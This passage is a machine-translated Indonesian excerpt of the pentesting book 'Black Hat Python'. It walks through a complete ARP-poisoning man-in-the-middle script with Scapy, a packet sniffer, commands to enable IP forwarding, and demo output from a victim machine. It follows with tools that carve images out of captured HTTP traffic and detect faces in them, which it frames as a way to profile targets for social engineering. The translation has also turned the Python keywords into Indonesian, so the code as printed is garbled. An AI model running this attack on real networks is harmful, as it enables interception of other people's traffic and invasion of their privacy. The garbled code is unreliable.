inet 192.168.1.193 netmask 0xffffff00 siaran 192.168.1.255
inet6 2600:1700:c1a0:6ee0:1844:8b1c:7fe0:79c8 awalanlen 64 autoconf diamankan
inet6 2600:1700:c1a0:6ee0:fc47:7c52:affd:f1f6 prefixlen 64 autoconf sementara
inet6 2600:1700:c1a0:6ee0::31 awalanlen 64 dinamis
opsi nd6=201<PERFORMNUD,AYAH>
media: pilih otomatis
status: aktif

Perintah ifconfig menampilkan konfigurasi jaringan untuk antarmuka yang ditentukan (di
sini en0 ) atau untuk semua antarmuka jika Anda tidak menentukannya. Outputnya menunjukkan
bahwa alamat inet (IPv4) untuk perangkat tersebut adalah 192.168.1.193. Juga tercantum
alamat MAC (38:f9:d3:63:5c:48, diberi label sebagai ether) dan beberapa alamat IPv6. Keracunan
ARP hanya berfungsi untuk alamat IPv4, jadi kami akan mengabaikan alamat IPv6.

Sekarang mari kita lihat apa yang dimiliki Mac dalam cache alamat ARP-nya. Pengikut
menunjukkan pendapatnya tentang alamat MAC untuk tetangganya di jaringan:

MacBook-Pro:~ korban$ arp -a


1 kali.attlocal.net (192.168.1.203) di a4:5e:60:ee:17:5d di en0 ifscope
2 dsldevice.attlocal.net (192.168.1.254) pada 20:e5:64:c0:76:d0 di en0 ifscope
? (192.168.1.255) di ff:ff:ff:ff:ff:ff di en0 ifscope [ethernet]

Kita dapat melihat bahwa alamat IP mesin Kali milik penyerang 1 adalah 192.168.1.203 dan
alamat MAC-nya adalah a4:5e:60:ee:17:5d. Gateway menghubungkan mesin penyerang dan
korban ke internet. Alamat IP 2-nya berada di 192.168.1.254 dan entri cache ARP yang terkait
memiliki alamat MAC 20:e5:64:c0:76:d0. Kami akan mencatat nilai-nilai ini karena kami dapat
melihat cache ARP saat serangan terjadi dan melihat bahwa kami telah mengubah alamat MAC
gateway yang terdaftar. Sekarang kita mengetahui gateway dan alamat IP target, mari kita mulai
mengkode skrip keracunan ARP. Buka file Python baru, beri nama arper.py, dan masukkan kode
berikut.

Kami akan mulai dengan mematikan kerangka file untuk memberi Anda gambaran tentang
bagaimana kami akan membuat racunnya:

dari Proses impor multiproses


dari impor scapy.all (ARP, Ether, conf, get_if_hwaddr,
kirim, hirup, sndrcv, srp, wrpcap)
impor mereka
sistem impor
waktu impor

1 def get_mac(targetip):
lulus

58 Bab 4
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

kelas Arper:
def __init__(diri, korban, gerbang, antarmuka='en0'):
lulus

def lari(diri):
lulus

2 def racun (diri):


lulus

3 def sniff(mandiri, hitungan=200):


lulus

4 pemulihan def (mandiri):


lulus

jika __nama__ == '__utama__':


(korban, gerbang, antarmuka) = (sys.argv[1], sys.argv[2], sys.argv[3])
myarp = Arper(korban, gerbang, antarmuka)
myarp.run()

Seperti yang Anda lihat, kami akan mendefinisikan fungsi pembantu untuk
mendapatkan alamat MAC untuk mesin mana pun 1 dan kelas Arper untuk meracuni 2,
mengendus 3, dan memulihkan 4 pengaturan jaringan. Mari kita isi setiap bagian, dimulai
dengan fungsi get_mac , yang mengembalikan alamat MAC untuk alamat IP tertentu.
Kami membutuhkan alamat MAC korban dan gateway.

def get_mac(targettip):
1 paket = Eter(dst='ff:ff:ff:ff:ff:ff')/ARP(op="siapa yang memiliki", pdst=targetip)
2 repetisi, _ = srp(paket, batas waktu=2, coba lagi=10, verbose=Salah)
untuk _, r sebagai tanggapan:
kembalikan r[Eter].src
kembali Tidak ada

Kami meneruskan alamat IP target dan membuat paket 1. Ether


fungsi menentukan bahwa paket ini akan disiarkan, dan fungsi ARP menentukan
permintaan alamat MAC, menanyakan setiap node apakah ia memiliki IP target. Kami
mengirim paket dengan fungsi Scapy srp 2, yang mengirim dan menerima paket pada lapisan
jaringan 2. Kami mendapatkan jawabannya dalam variabel resp , yang harus berisi sumber
lapisan Ether (alamat MAC) untuk IP target.

Selanjutnya, mari kita mulai menulis kelas Arper :

kelas Arper():
1 def __init__(diri, korban, gerbang, antarmuka='en0'):
diri.korban = korban
self.victimmac = get_mac(korban)
mandiri.gateway = gerbang
mandiri.gatewaymac = get_mac(gateway)
self.interface = antarmuka
conf.iface = antarmuka
conf.kata kerja = 0

Memiliki Jaringan dengan Scapy 59


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

2 print(f'Inisialisasi {interface}:')
print(f'Gateway ({gateway}) ada di {self.gatewaymac}.')
print(f'Korban ({victim}) ada di {self.victimmac}.') print('-'*30)

Kami menginisialisasi kelas dengan IP korban dan gateway dan menentukan antarmuka
yang akan digunakan (en0 adalah default) 1. Dengan info ini, kami mengisi variabel objek
interface, korban, korbanmac, gateway, dan gatewaymac, mencetak nilai ke konsol 2.

Di dalam kelas Arper kita menulis fungsi run , yang merupakan titik masuk untuk serangan:

def run(self): 1
self.poison_thread = Proses(target=self.poison)
mandiri.poison_thread.start()

2 self.sniff_thread = Proses(target=self.sniff)
mandiri.sniff_thread.start()

Metode run melakukan pekerjaan utama objek Arper . Ini mengatur dan menjalankan
dua proses: satu untuk meracuni cache ARP 1 dan yang lainnya sehingga kita dapat
melihat serangan yang sedang berlangsung dengan mengendus lalu lintas jaringan 2.
Metode racun membuat paket beracun dan mengirimkannya ke korban dan gateway:

def racun(diri): 1
racun_korban = ARP()
racun_korban.op = 2
racun_korban.psrc = diri.gateway
racun_korban.pdst = diri.korban
racun_korban.hwdst = diri.korbanmac
print(f'ip src: {poison_victim.psrc} ') print(f'ip
dst: {poison_victim.pdst}') print(f'mac dst:
{poison_victim.hwdst}') print(f'mac src:
{poison_victim.hwsrc}')
print(poison_victim.summary( ))
print('-'*30) 2
racun_gateway = ARP()
racun_gateway.op = 2
racun_gateway.psrc = diri.korban
racun_gateway.pdst = diri.gateway
racun_gateway.hwdst = diri.gatewaymac

mencetak(f'ip src: {poison_gateway.psrc}') mencetak(f'ip


dst: {poison_gateway.pdst}') mencetak(f'mac dst:
{poison_gateway.hwdst}') mencetak(f'mac_src:
{poison_gateway .hwsrc}') print(poison_gateway.summary())
print('-'*30) print(f'Memulai racun ARP. [CTRL-
C untuk berhenti]')
3 sementara Benar:

sys.stdout.write('.')
sys.stdout.flush()

60 Bab 4
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

mencoba:

kirim(racun_korban)
kirim(pintu_racun)
4 kecuali Interupsi Keyboard:
mandiri.pulihkan()
sys.keluar()
kalau tidak:

waktu.tidur(2)

Metode racun menyiapkan data yang akan kita gunakan untuk meracuni korban
dan gateway. Pertama, kita membuat paket ARP beracun yang ditujukan untuk korban
1. Demikian pula, kita membuat paket ARP beracun untuk gateway 2. Kita meracuni
gateway dengan mengirimkannya alamat IP korban tetapi alamat MAC penyerang.
Demikian pula, kami meracuni korban dengan mengirimkan alamat IP gateway tetapi alamat
MAC penyerang. Kami mencetak semua informasi ini ke konsol sehingga kami dapat yakin
dengan tujuan dan muatan paket kami.
Selanjutnya, kami mulai mengirimkan paket beracun ke tujuannya dalam waktu singkat
loop tak terbatas untuk memastikan bahwa entri cache ARP masing-masing tetap
diracuni selama serangan 3. Loop akan berlanjut sampai Anda menekan CTRL-C
(KeyboardInterrupt) 4, dalam hal ini kami mengembalikan semuanya ke normal (dengan
mengirimkan informasi yang benar ke korban dan pintu gerbang, membatalkan serangan
keracunan kita).
Untuk melihat dan mencatat serangan yang terjadi, kami mengendus lalu lintas jaringan dengan
metode sniff :

def sniff(diri sendiri, hitung=100):


1 kali.tidur(5)
print(f'Mengendus {count} paket')
2 bpf_filter = "ip host %s" % korban
3 paket = sniff(count=count, filter=bpf_filter, iface=self.interface)
4 wrpcap('arper.pcap', paket)
print('Dapatkan paketnya')
5 mandiri.pulihkan()
self.poison_thread.terminate()
mencetak('Selesai.')

Metode sniff tidur selama lima detik 1 sebelum mulai mengendus untuk
memberikan waktu pada thread keracunan untuk mulai bekerja. Ini mengendus sejumlah
paket (100 secara default) 3, memfilter paket yang memiliki IP korban 2. Setelah kami
menangkap paket, kami menulisnya ke file bernama arper.pcap 4, mengembalikan tabel
ARP ke aslinya nilai asli 5, dan hentikan thread racun.

Terakhir, metode pemulihan mengembalikan mesin korban dan gateway ke keadaan


semula dengan mengirimkan informasi ARP yang benar ke setiap mesin:

def pulihkan (diri):


print('Memulihkan tabel ARP...')
1 kirim(ARP(
pada=2,
psrc=mandiri.gateway,
hwsrc=mandiri.gatewaymac,

Memiliki Jaringan dengan Scapy 61


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

pdst=diri.korban,
hwdst='ff:ff:ff:ff:ff:ff'), hitung=5) 2

kirim(ARP( op=2,

psrc=diri.korban,
hwsrc=diri.korbanmac, pdst=
self.gateway,
hwdst='ff:ff:ff:ff:ff:ff'), hitungan=5)

Metode pemulihan dapat dipanggil baik dari metode racun (jika Anda menekan
CTRL-C) atau metode sniff (ketika jumlah paket yang ditentukan telah ditangkap). Ia
mengirimkan nilai asli untuk IP gateway dan alamat MAC ke korban 1, dan mengirimkan
nilai asli untuk IP dan MAC korban ke gateway 2.

Ayo kita ajak bocah nakal ini mencoba!

Sebelum memulai ,
pertama-tama kita perlu memberi tahu mesin host lokal bahwa kita dapat meneruskan
paket ke gateway dan alamat IP target. Jika Anda menggunakan Kali VM, masukkan
perintah berikut ke terminal Anda:

#:> gema 1 > /proc/sys/net/ipv4/ip_forward

Jika Anda seorang fanatik Apple, gunakan perintah berikut:

#:> sudo sysctl -w net.inet.ip.forwarding=1

Sekarang kita sudah memiliki penerusan IP, mari jalankan skrip dan periksa
cache ARP mesin target. Dari mesin penyerang Anda, jalankan perintah berikut
(sebagai root):

#:> python arper.py 192.168.1.193 192.168.1.254 en0 Diinisialisasi en0:

Gerbang (192.168.1.254) berada di 20:e5:64:c0:76:d0.


Korban (192.168.1.193) ada di 38:f9:d3:63:5c:48.
------------------------------

ip src: 192.168.1.254 ip dst:


192.168.1.193 mac dst:
38:f9:d3:63:5c:48 mac src:
a4:5e:60:ee:17:5d ARP ada di
a4:5e:60:ee :17:5d mengatakan 192.168.1.254
------------------------------

ip src: 192.168.1.193 ip dst:


192.168.1.254 mac dst:
20:e5:64:c0:76:d0 mac_src:
a4:5e:60:ee:17:5d ARP ada di
a4:5e:60:ee: 17:5d mengatakan 192.168.1.193
------------------------------

Memulai racun ARP. [CTRL-C untuk berhenti]


...Mengendus 100 paket

62 Bab 4
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

......Dapatkan paketnya
Memulihkan tabel ARP...
Selesai.

Luar biasa! Tidak ada kesalahan atau keanehan lainnya. Sekarang mari kita validasi serangannya

pada mesin sasaran. Saat skrip sedang dalam proses menangkap 100 paket, kami
menampilkan tabel ARP pada perangkat korban dengan arp
memerintah:

MacBook-Pro:~ korban$ arp -a


kali.attlocal.net (192.168.1.203) di a4:5e:60:ee:17:5d di en0 ifscope
dsldevice.attlocal.net (192.168.1.254) di a4:5e:60:ee:17:5d di en0 ifscope

Anda sekarang dapat melihat bahwa korban yang malang sekarang memiliki cache
ARP yang diracuni, sedangkan gateway sekarang memiliki alamat MAC yang sama dengan
komputer penyerang. Anda dapat melihat dengan jelas pada entri di atas gateway yang
saya serang dari 192.168.1.203. Ketika serangan selesai menangkap paket, Anda akan
melihat file arper.pcap di direktori yang sama dengan skrip Anda.
Tentu saja Anda dapat melakukan hal-hal seperti memaksa komputer target untuk mem-proxy
semua lalu lintasnya melalui Burp lokal atau melakukan sejumlah hal buruk lainnya. Anda
mungkin ingin menyimpan file pcap tersebut untuk bagian pemrosesan PCAP selanjutnya—
Anda tidak pernah tahu apa yang mungkin Anda temukan!

Pemrosesan PCAP
Wireshark dan alat lain seperti Network Miner sangat bagus untuk menjelajahi file
pengambilan paket secara interaktif, tetapi akan ada saatnya Anda ingin membagi file pcap
menggunakan Python dan Scapy. Beberapa kasus penggunaan yang hebat menghasilkan
kasus uji fuzzing berdasarkan lalu lintas jaringan yang ditangkap atau bahkan sesuatu
yang sederhana seperti memutar ulang lalu lintas yang telah Anda tangkap sebelumnya.
Kami akan mengambil cara yang sedikit berbeda dalam hal ini dan mencoba
membuat file gambar dari lalu lintas HTTP. Dengan file gambar ini, kita akan menggunakan
OpenCV,2 alat visi komputer, untuk mencoba mendeteksi gambar yang berisi wajah manusia
sehingga kita dapat mempersempit gambar yang mungkin menarik.
Anda dapat menggunakan skrip keracunan ARP sebelumnya untuk menghasilkan file pcap,
atau Anda dapat memperluas sniffer keracunan ARP untuk melakukan deteksi wajah pada
gambar saat target sedang menjelajah.
Contoh ini akan melakukan dua tugas terpisah: mengukir gambar dari lalu lintas HTTP
dan mendeteksi wajah dalam gambar tersebut. Untuk mengakomodasi hal ini, kami akan
membuat dua program sehingga Anda dapat memilih untuk menggunakannya secara
terpisah, bergantung pada tugas yang ada. Anda juga dapat menggunakan program secara
berurutan, seperti yang akan kita lakukan di sini. Program pertama, recapper.py, menganalisis
file pcap, menemukan gambar apa pun yang ada di aliran yang terdapat dalam file pcap,
dan menulis gambar tersebut ke disk. Program kedua, detector.py, menganalisis setiap file
gambar tersebut untuk menentukan apakah file tersebut berisi wajah. Jika ya, ia akan menulis
gambar baru ke disk, menambahkan kotak di sekeliling setiap wajah dalam gambar.

2. Lihat OpenCV di sini: http:// www.opencv.org/.

Memiliki Jaringan dengan Scapy 63


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Mari kita mulai dengan memasukkan kode yang diperlukan untuk melakukan analisis
PCAP. Dalam kode berikut kita akan menggunakan Nametuple, struktur data Python dengan bidang
yang dapat diakses oleh pencarian atribut. Tupel standar memungkinkan Anda menyimpan rangkaian
nilai yang tidak dapat diubah; hampir seperti daftar, hanya saja Anda tidak dapat mengubah nilai tuple.
Tuple standar menggunakan indeks numerik untuk mengakses anggotanya:

poin = (1.1, 2.5)


mencetak(titik[0], titik[1]

Sebaliknya, tupel bernama berperilaku sama seperti tupel biasa, hanya saja ia
dapat mengakses kolom melalui namanya . Hal ini membuat kode lebih mudah dibaca
dan juga lebih hemat memori dibandingkan kamus.
Sintaks untuk membuat Nametuple memerlukan dua argumen: nama Tuple dan daftar nama field
yang dipisahkan spasi. Misalnya, Anda ingin membuat struktur data bernama Titik dengan dua
atribut: x dan y. Anda akan mendefinisikannya sebagai berikut:

Titik = bernamatuple('Titik', ['x', 'y'])

Kemudian Anda dapat membuat objek Point bernama p dengan kode p =


Point(35,65), misalnya, dan mengacu pada atributnya sama seperti atribut kelas: px dan
py mengacu pada atribut x dan y dari Point tertentu bernamatuple.
Itu jauh lebih mudah dibaca daripada kode yang mengacu pada indeks beberapa item
dalam Tuple biasa. Dalam contoh kita, katakanlah Anda membuat tupel bernama Response
dengan kode berikut:

Respon = bernamatuple('Respon', ['header', 'payload'])

Sekarang, daripada mengacu pada indeks tupel biasa, Anda dapat menggunakan
Response.header atau Response.payload, yang lebih mudah dipahami.
Mari gunakan informasi tersebut dalam contoh ini. Kami akan membaca file
pcap, menyusun kembali gambar apa pun yang ditransfer, dan menulis gambar ke disk.
Buka recapper.py dan masukkan kode berikut:

dari scapy.all impor TCP, rdpcap


impor koleksi
impor mereka
impor ulang
sistem impor
impor zlib

1 OUTDIR = '/root/Desktop/gambar'
PCAPS = '/root/Unduhan'

2 Respon = collections.namedtuple('Respon', ['header', 'payload'])

3 def get_header(muatan):
lulus

64 Bab 4
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

4 def ekstrak_konten(Respon, nama_konten='gambar'):


lulus

Rekap kelas:
def __init__(diri sendiri, nama f):
lulus
5 def get_responses(diri):
lulus

6 def tulis(diri, nama_konten):


lulus

jika __nama__ == '__utama__':


pfile = os.path.join(PCAPS, 'pcap.pcap')
recapper = Recapper(pfile)
recapper.get_responses()
recapper.write('gambar')

Ini adalah logika kerangka utama dari keseluruhan skrip, dan kami akan segera
menambahkan fungsi pendukungnya. Kami mengatur impor dan kemudian
menentukan lokasi direktori untuk menampilkan gambar dan lokasi file pcap untuk
dibaca 1. Kemudian kami mendefinisikan tupel bernama yang disebut Response
yang memiliki dua atribut: header paket dan payload paket 2. Kita akan membuat
dua fungsi pembantu untuk mendapatkan header paket 3 dan mengekstrak konten
4 yang akan kita gunakan dengan kelas Recapper yang akan kita definisikan untuk
menyusun kembali gambar yang ada dalam aliran paket. Selain __init__, kelas
Recapper akan memiliki dua metode: get_responses, yang akan membaca respons
dari file pcap 5, dan write, yang akan menulis file gambar yang terdapat dalam
respons ke direktori keluaran 6.
Mari kita mulai mengisi skrip ini dengan menulis fungsi get_header :

def get_header(muatan):
mencoba:

header_raw = muatan[:payload.index(b'\r\n\r\n')+2] 1
kecuali ValueError:
sys.stdout.tulis('-')
sys.stdout.flush()
kembali Tidak ada 2

header = dict(re.findall(r'(?P<nama>.*?): (?P<nilai>.*?)\r\n', header_raw.decode())) 3


jika 'Tipe Konten' tidak ada di header: 4
kembali Tidak ada
tajuk kembali

Fungsi get_header mengambil lalu lintas HTTP mentah dan mengeluarkan


header. Kami mengekstrak header dengan mencari bagian payload yang dimulai
di awal dan diakhiri dengan beberapa pasangan gerbong kembali dan baris
baru 1. Jika payload tidak cocok dengan pola itu, kita akan mendapatkan
ValueError , dalam hal ini kita cukup menulis tanda hubung (-) pada konsol dan

Memiliki Jaringan dengan Scapy 65


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

return 2. Jika tidak, kita membuat kamus (header) dari payload yang didekodekan,
membaginya menjadi titik dua sehingga kuncinya adalah bagian sebelum titik dua dan nilainya
adalah bagian setelah titik dua 3. Jika header tidak memiliki kunci disebut ' Tipe Konten', kita
kembalikan Tidak Ada untuk menunjukkan bahwa header tidak berisi data yang ingin kita
ekstrak. 4. Sekarang mari kita tulis fungsi untuk mengekstrak konten dari respons:

def ekstrak_konten(Respon, nama_konten='gambar'):


konten, content_type = Tidak Ada, Tidak Ada
1 jika nama_konten di Response.header['Jenis Konten']:
2 tipe_konten = Respons.header['Jenis Konten'].split('/')[1]
3 konten = Respon.payload[Respon.payload.index(b'\r\n\r\n')+4:]

4 jika 'Pengkodean Konten' di Response.header:


if Response.header['Pengkodean Konten'] == "gzip":
konten = zlib.decompress(Respon.payload, zlib.MAX_WBITS | 32)
elif Response.header['Pengkodean Konten'] == "kempis":
konten = zlib.decompress(Respon.payload)

5 mengembalikan konten, content_type

Fungsi ekstrak_konten mengambil respons HTTP dan nama untuk tipe konten yang
ingin kita ekstrak. Ingatlah bahwa Response adalah tupel bernama
dengan dua bagian: header dan payload.
Jika konten telah dikodekan 4 dengan alat seperti gzip atau deflate, kami
mendekompresi konten menggunakan modul zlib . Untuk respons apa pun yang berisi
gambar, header akan memiliki nama gambar di Tipe Konten
atribut (misalnya image/png atau image/jpg) 1. Ketika itu terjadi, kita membuat variabel
bernama content_type dengan tipe konten aktual yang ditentukan di header 2. Kita membuat
variabel lain untuk menampung konten itu sendiri, yaitu segala sesuatu di dalam payload
setelah header 3. Terakhir, kami mengembalikan tupel konten dan content_type 5 .

Setelah kedua fungsi pembantu tersebut selesai, mari kita isi Recappernya
metode:

Rekap kelas:
1 def __init__(diri sendiri, nama f):
pcap = rdpcap(nama f)
2 mandiri.sesi = pcap.sesi()
3 diri.respon = daftar()

Pertama, kita menginisialisasi objek dengan nama file pcap yang ingin kita baca 1. Kita
memanfaatkan fitur cantik Scapy untuk secara otomatis memisahkan setiap sesi TCP 2 ke
dalam kamus yang berisi setiap aliran TCP lengkap. Terakhir, kita membuat daftar kosong
bernama tanggapan yang akan kita isi dengan tanggapan dari file pcap 3.

66 Bab 4
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Dalam metode get_responses kita akan melintasi paket-paket untuk menemukan masing-
masing Respons terpisah dan menambahkan masing-masing respons ke daftar respons yang
ada dalam aliran paket:

def get_responses(diri):
1 untuk sesi dalam sesi mandiri:
muatan = b''
2 untuk paket di self.sessions[session]:
mencoba:

3 jika paket[TCP].dport == 80 atau paket[TCP].sport == 80:


payload += byte(paket[TCP].payload)
kecuali IndexError:
4 sys.stdout.tulis('x')
sys.stdout.flush()

jika muatan:
5 tajuk = get_header(muatan)
jika tajuknya Tidak Ada:
melanjutkan
6 self.responses.append(Respon(header=header, payload=payload))

Dalam metode get_responses , kami mengulangi kamus sesi 1, lalu paket-paket dalam setiap
sesi 2. Kami memfilter lalu lintas sehingga kami hanya mendapatkan paket dengan port tujuan atau
sumber 80 3. Kemudian kami menggabungkan payload dari semua lalu lintas ke buffer tunggal yang
disebut payload. Ini secara efektif sama dengan mengklik kanan sebuah paket di Wireshark dan
memilih Follow TCP Stream. Jika kita tidak berhasil menambahkan variabel payload (kemungkinan
besar karena tidak ada TCP dalam paket), kita mencetak x ke konsol dan melanjutkan ke 4.

Kemudian, setelah kita menyusun kembali data HTTP, jika string byte payload tidak
kosong, kita meneruskannya ke fungsi penguraian header HTTP get_header 5, yang
memungkinkan kita memeriksa header HTTP satu per satu.
Terakhir, kami menambahkan Respon ke daftar respons 6.
Terakhir, kami memeriksa daftar respons dan, jika respons berisi gambar, kami
menulis gambar tersebut ke disk dengan metode tulis :

def tulis(diri sendiri, nama_konten):


1 untuk saya, respon dalam enumerate(self.responses):
2 konten, content_type = ekstrak_konten(respon, nama_konten)
jika konten dan tipe_konten:
fname = os.path.join(OUTDIR, f'ex_{i}.{content_type}')
mencetak(f'Menulis {fname}')
dengan open(fname, 'wb') sebagai f:
3 f.tulis(konten)

Setelah pekerjaan ekstraksi selesai, metode penulisan hanya perlu melakukan iterasi
atas tanggapan 1, ekstrak konten 2, dan tulis konten itu ke file 3. File tersebut dibuat di direktori
keluaran dengan nama yang dibentuk oleh

Memiliki Jaringan dengan Scapy 67


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

penghitung dari fungsi bawaan enumerasi dan nilai content_type .


Misalnya, nama gambar yang dihasilkan mungkin ex_2.jpg. Saat kita menjalankan program,
kita membuat objek Recapper , memanggil metode get_responses untuk menemukan
semua respons dalam file pcap, dan kemudian menulis gambar yang diekstraksi dari respons
tersebut ke disk.
Pada program berikutnya, kita akan memeriksa setiap gambar untuk menentukan
apakah ada wajah manusia di dalamnya. Untuk setiap gambar yang berisi wajah, kami
akan menulis gambar baru ke disk, menambahkan kotak di sekitar wajah pada gambar.
Buka file baru bernama detector.py:

impor cv2
impor mereka

ROOT = '/root/Desktop/gambar'
WAJAH = '/root/Desktop/wajah'
LATIHAN = '/root/Desktop/pelatihan'

def deteksi(srcdir=ROOT, tgtdir=WAJAH, train_dir=LATIHAN):


untuk nama f di os.listdir(srcdir):
1 jika bukan fname.upper().endswith('.JPG'):
melanjutkan
nama lengkap = os.path.join(srcdir, fname)
nama baru = os.path.join(tgtdir, fname)
2 img = cv2.imread(nama lengkap)
jika img Tidak Ada:
melanjutkan

abu-abu = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)


pelatihan = os.path.join(train_dir, 'haarcascade_frontalface_alt.xml')
3 kaskade = cv2.CascadeClassifier(pelatihan)
persegi = cascade.detectMultiScale(abu-abu, 1.3, 5)
mencoba:

4 jika rects.any():
print('Punya wajah')
5 persegi[:, 2:] += persegi[:, :2]
kecuali AttributeError:
print(f'Tidak ditemukan wajah di {fname}.')
melanjutkan

# sorot wajah pada gambar


untuk x1, y1, x2, y2 dalam persegi:
6 cv2.persegi panjang(img, (x1, y1), (x2, y2), (127, 255, 0), 2)
7 cv2.imwrite(nama baru, img)

jika nama == '__utama__':


mendeteksi()

Fungsi deteksi menerima direktori sumber, direktori target,


dan direktori pelatihan sebagai masukan. Ini mengulangi file JPG di direktori sumber.
(Karena kita sedang mencari wajah, gambar tersebut mungkin adalah foto, jadi kemungkinan
besar disimpan sebagai file .jpg 1.) Kita kemudian membaca

68 Bab 4
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

gambar menggunakan pustaka visi komputer OpenCV cv2 2, memuat file XML
detektor , dan membuat objek pendeteksi wajah cv2 3. Detektor ini merupakan
pengklasifikasi yang dilatih terlebih dahulu untuk mendeteksi wajah dalam orientasi
menghadap ke depan. OpenCV berisi pengklasifikasi untuk deteksi wajah profil
(samping), tangan, buah, dan sejumlah objek lain yang dapat Anda coba sendiri. Untuk
gambar di mana wajah ditemukan 4, pengklasifikasi akan mengembalikan koordinat persegi
panjang yang sesuai dengan lokasi wajah terdeteksi dalam gambar. Dalam hal ini, kita
mencetak pesan ke konsol, menggambar kotak hijau di sekeliling wajah 6, dan menulis
gambar ke direktori keluaran 7.

Data persegi panjang yang dikembalikan dari detektor berbentuk (x, y, lebar, tinggi),
dengan nilai x, y memberikan koordinat sudut kiri bawah persegi panjang, dan nilai lebar, tinggi
sesuai dengan lebar dan tinggi dari persegi panjang.

Kami menggunakan sintaks irisan Python 5 untuk mengonversi dari satu bentuk ke bentuk
lainnya. Artinya, kita mengonversi data persegi yang dikembalikan ke koordinat sebenarnya:
(x1, y1, x1+width, y1+height) atau (x1, y1, x2, y2). Ini adalah format input cv2.rectangle
metode yang diharapkan.
Kode ini dengan murah hati dibagikan oleh Chris Fidao di http:// www.fideloper.
com/ facial-detection/. Contoh ini membuat sedikit modifikasi dari aslinya.
Sekarang mari kita coba semua ini di dalam Kali VM Anda.

Menendang Ban
Jika Anda belum menginstal pustaka OpenCV terlebih dahulu, jalankan perintah berikut
(sekali lagi, terima kasih, Chris Fidao) dari terminal di Kali VM Anda:

#:> apt-get install libopencv-dev python3-opencv python3-numpy python3-scipy

Ini harus menginstal semua file yang diperlukan untuk menangani deteksi wajah
pada gambar yang dihasilkan. Kita juga perlu mengambil file pelatihan deteksi wajah, seperti:

#:> dapatkan http://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.xml

Salin file yang diunduh ke direktori yang kami tentukan di LATIHAN


variabel di detector.py. Sekarang buat beberapa direktori untuk output, masukkan PCAP,
dan jalankan skrip. Ini akan terlihat seperti berikut:

#:> mkdir /root/Desktop/gambar


#:> mkdir /root/Desktop/faces
#:> python recapper.py
Diekstraksi: 189 gambar
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx--------------xx
Menulis gambar/ex_2.gif
Menulis gambar/ex_8.jpeg
Menulis gambar/ex_9.jpeg
Menulis gambar/ex_15.png

Memiliki Jaringan dengan Scapy 69


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

...
#:> detektor python.py
Punya wajah
Punya wajah
...
#:>

Anda mungkin melihat sejumlah pesan kesalahan yang dihasilkan oleh OpenCV
karena fakta bahwa beberapa gambar yang kami masukkan ke dalamnya mungkin rusak
atau diunduh sebagian atau formatnya mungkin tidak didukung. (Kami akan membiarkan
pembuatan ekstraksi gambar yang kuat dan rutinitas validasi sebagai pekerjaan rumah bagi
Anda.) Jika Anda membuka direktori wajah Anda , Anda akan melihat sejumlah file dengan
wajah dan kotak hijau ajaib yang digambar di sekelilingnya.
Teknik ini dapat digunakan untuk menentukan jenis konten Anda
target sedang melihat, serta untuk menemukan pendekatan yang mungkin dilakukan
melalui rekayasa sosial. Anda tentu saja dapat memperluas contoh ini lebih dari sekadar
menggunakannya pada gambar ukiran dari PCAP dan menggunakannya bersama
dengan teknik perayapan dan penguraian web yang dijelaskan di bab selanjutnya.

70 Bab 4
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

5
PERETAS WEB

Kemampuan untuk menganalisis aplikasi web adalah


keterampilan yang sangat penting bagi setiap penyerang
atau penguji penetrasi. Di sebagian besar jaringan
modern, aplikasi web menghadirkan serangan terbesar
permukaan dan karena itu juga yang paling umum

jalan untuk mendapatkan akses ke aplikasi web itu sendiri.

Anda akan menemukan sejumlah alat aplikasi web luar biasa yang ditulis dengan Python,
termasuk w3af dan sqlmap. Sejujurnya, topik-topik seperti injeksi SQL telah dikalahkan sampai
mati, dan peralatan yang tersedia sudah cukup matang sehingga kita tidak perlu menemukan
kembali rodanya. Sebagai gantinya, kita akan menjelajahi dasar-dasar berinteraksi dengan web
menggunakan Python dan kemudian mengembangkan pengetahuan ini untuk membuat alat pengintaian
dan brute force. Dengan membuat beberapa alat yang berbeda, Anda harus mempelajari keterampilan
dasar yang Anda perlukan untuk membangun segala jenis alat penilaian aplikasi web yang
diperlukan dalam skenario serangan Anda.
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Dalam bab ini, kita akan melihat tiga skenario untuk menyerang aplikasi web. Dalam skenario pertama,
Anda mengetahui kerangka web yang digunakan target, dan kerangka tersebut bersifat open source. Kerangka
kerja aplikasi web berisi banyak file dan direktori di dalam direktori di dalam direktori. Kami akan membuat peta
yang menunjukkan hierarki aplikasi web secara lokal dan menggunakan informasi tersebut untuk menemukan file
dan direktori sebenarnya pada target langsung. Dalam skenario kedua, Anda hanya mengetahui URL untuk
target Anda, jadi kami akan menggunakan pemetaan yang sama secara brute force dengan menggunakan daftar
kata untuk menghasilkan daftar jalur file dan nama direktori yang mungkin ada pada target. Kami kemudian
akan mencoba menghubungkan ke daftar kemungkinan jalur yang dihasilkan terhadap target langsung. Dalam
skenario ketiga, Anda mengetahui URL dasar target Anda dan halaman loginnya.

Kami akan memeriksa halaman login dan menggunakan daftar kata untuk memaksa login.

Perpustakaan Web

Kita akan mulai dengan menelusuri perpustakaan yang dapat Anda gunakan untuk berinteraksi dengan
